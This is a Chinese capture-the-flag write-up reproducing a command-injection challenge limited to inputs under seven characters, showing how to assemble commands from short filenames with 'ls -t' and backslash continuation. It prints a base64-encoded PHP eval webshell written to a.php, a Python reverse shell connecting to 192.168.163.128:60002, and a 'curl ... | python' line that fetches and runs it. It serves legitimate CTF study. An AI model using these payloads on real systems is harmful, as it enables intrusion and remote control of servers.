腾讯犀牛鸟高校挑战赛的一道题,这个比赛总体偏简单,都是一些以前的题目,但是因为这题比赛的时候没复现出来(看了网上的wp也失败了),所以自己搭个环境复现一下
1 |
|
代码很简单,如果1的参数长度小于7就执行命令
1.在linux下如果在语句的结尾加上\可以把语句接下去,直到没有斜杠就执行
这里执行的是echo ctf
2.linux可以通过>创建文件
bash脚本可以通过\方式执行命令吗,这个也可以试一下
这样也是可以执行的
通过>可以将输出结果写入文件
有以上这些条件,可以创建类似ech\,o\这样的文件名,然后通过ls -t(因为ls是通过首字母排序的,ls -t是通过文件生成时间排序的)写入文件,然后使用sh执行这个文件,就可以执行命令
这道题可以使用两种方法
1.先把python反弹shell脚本放到服务器上然后使用curl得到文本,通过管道符|传给python反弹shell
2.直接写入php文件,这种方法适用于不出网
先手动写个一句话吧,后面再贴脚本,这里还有一点要注意,写完文件名之后要通过ls -t>a写入脚本,但是这题的要求是小于七个字符,这个语句等于七个字符所以是无法执行的,首先写一个ls -t>_ 的脚本
1 | ls -t>_ #需要写入的语句 |
可以看到拼接出了想要的语句
这里为什么文件名为_,因为ls是默认排序的,_会出现在后面不影响ls写入,使用别的可能会出现在不该出现的地方,我刚开始使用的是0,结果出现在了-t和g之间,导致写入语句错误
接下来就是写一句话,需要使用base64编码之后再写,直接使用字符串会出现两个单引号,导致两个文件名字相同,而且单引号的左右侧都会出现符号或者空格,都需要斜杠转移,这样的就会超过6个字符,比如:>\ “\,最后写入失败,base64可以避免这种情况
1 | echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>a.php #需要写入的语句 |
执行完之后访问a.php
已经写入一句话了
写入一句话脚本
1 | import requests |
反弹shell脚本
需要注意一些地方,首先需要在服务器上贴上反弹shell的python代码,最好贴在首页,这样可以少写一点payload
1 | import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.163.128",60002)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) |
然后需要在靶机上执行
1 | curl 192.168.163.128|python |
同时攻击机监听60002端口
1 | import requests |
因为是docker环境所以ip地址不是宿主机的地址这个不用在意